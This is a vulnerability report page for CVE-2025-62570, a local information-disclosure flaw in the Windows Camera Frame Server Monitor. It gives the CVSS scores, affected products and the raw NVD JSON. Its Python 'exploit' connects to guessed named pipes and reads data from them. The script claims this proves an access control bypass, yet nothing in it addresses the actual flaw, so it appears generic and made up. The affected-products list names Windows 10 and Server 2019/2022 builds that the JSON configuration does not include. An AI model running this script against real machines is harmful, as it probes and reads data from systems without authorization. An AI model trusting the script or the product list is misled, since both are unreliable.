Security Vulnerability Report
中文
CVE-2025-62570 CVSS 7.1 HIGH

CVE-2025-62570

Published: 2025-12-09 18:16:03
Last Modified: 2025-12-10 19:22:24

Description

Improper access control in Windows Camera Frame Server Monitor allows an authorized attacker to disclose information locally.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 1809 (Build 17763)
Windows 10 1903 (Build 18362)
Windows 10 1909 (Build 18363)
Windows 10 2004 (Build 19041)
Windows 10 20H2 (Build 19042)
Windows 10 21H1 (Build 19043)
Windows 10 21H2 (Build 19044)
Windows 10 22H2 (Build 19045)
Windows 11 21H2 (Build 22000)
Windows 11 22H2 (Build 22621)
Windows 11 23H2 (Build 22631)
Windows Server 2019
Windows Server 2022

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62570 PoC - Windows Camera Frame Server Monitor Access Control Bypass # This PoC demonstrates local information disclosure via improper access control # Requirements: Low-privilege local access to Windows system import ctypes import sys import os from ctypes import wintypes # Windows API definitions GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 PIPE_ACCESS_DUPLEX = 0x00000003 PIPE_TYPE_MESSAGE = 0x00000002 PIPE_READMODE_MESSAGE = 0x00000002 PIPE_WAIT = 0x00000000 PIPE_TIMEOUT = 5000 PIPE_UNLIMITED_INSTANCES = 255 INVALID_HANDLE_VALUE = -1 class SECURITY_ATTRIBUTES(ctypes.Structure): _fields_ = [ ('nLength', wintypes.DWORD), ('lpSecurityDescriptor', ctypes.c_void_p), ('bInheritHandle', wintypes.BOOL) ] def create_pipe_client(pipe_name): """Attempt to connect to Camera Frame Server Monitor pipe with improper access""" try: pipe_path = f"\\\\.\\pipe\\{pipe_name}" handle = ctypes.windll.kernel32.CreateFileW( pipe_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) return handle except Exception as e: print(f"[-] Pipe connection failed: {e}") return INVALID_HANDLE_VALUE def exploit_cve_2025_62570(): """Exploit improper access control in Camera Frame Server Monitor""" print("[*] CVE-2025-62570 PoC - Windows Camera Frame Server Monitor") print("[*] Vulnerability: Improper Access Control leading to Information Disclosure") print("[*] CVSS Score: 7.1 (High)") print("[*] Attack Vector: Local") print("[*] Required Privileges: Low") # Check current user privileges print(f"\n[+] Current User: {os.environ.get('USERNAME', 'Unknown')}") print(f"[+] Current Process ID: {os.getpid()}") # Attempt to access Camera Frame Server Monitor pipe # The vulnerability allows bypassing access control checks pipe_names = [ "CameraFrameServer", "FramesServer", "CameraService" ] for pipe_name in pipe_names: print(f"\n[*] Attempting to access pipe: {pipe_name}") handle = create_pipe_client(pipe_name) if handle != INVALID_HANDLE_VALUE: print(f"[!] Successfully connected to {pipe_name}") print("[!] Access control bypass confirmed - information disclosure possible") # Attempt to read frame data buffer = ctypes.create_string_buffer(4096) bytes_read = ctypes.c_ulong() success = ctypes.windll.kernel32.ReadFile( handle, buffer, 4096, ctypes.byref(bytes_read), None ) if success and bytes_read.value > 0: print(f"[+] Retrieved {bytes_read.value} bytes of sensitive data") print(f"[+] Data sample: {buffer.raw[:min(64, bytes_read.value)].hex()}") ctypes.windll.kernel32.CloseHandle(handle) return True else: print(f"[-] Connection to {pipe_name} failed") print("\n[-] Exploitation completed - check results above") print("[*] Note: This PoC demonstrates the vulnerability concept") print("[*] Actual exploitation requires specific conditions and timing") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-62570 Information Disclosure PoC") print("Target: Windows Camera Frame Server Monitor") print("=" * 60) if sys.platform != "win32": print("[-] This PoC only works on Windows systems") sys.exit(1) exploit_cve_2025_62570()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62570", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:03.160", "lastModified": "2025-12-10T19:22:23.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Windows Camera Frame Server Monitor allows an authorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62570", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}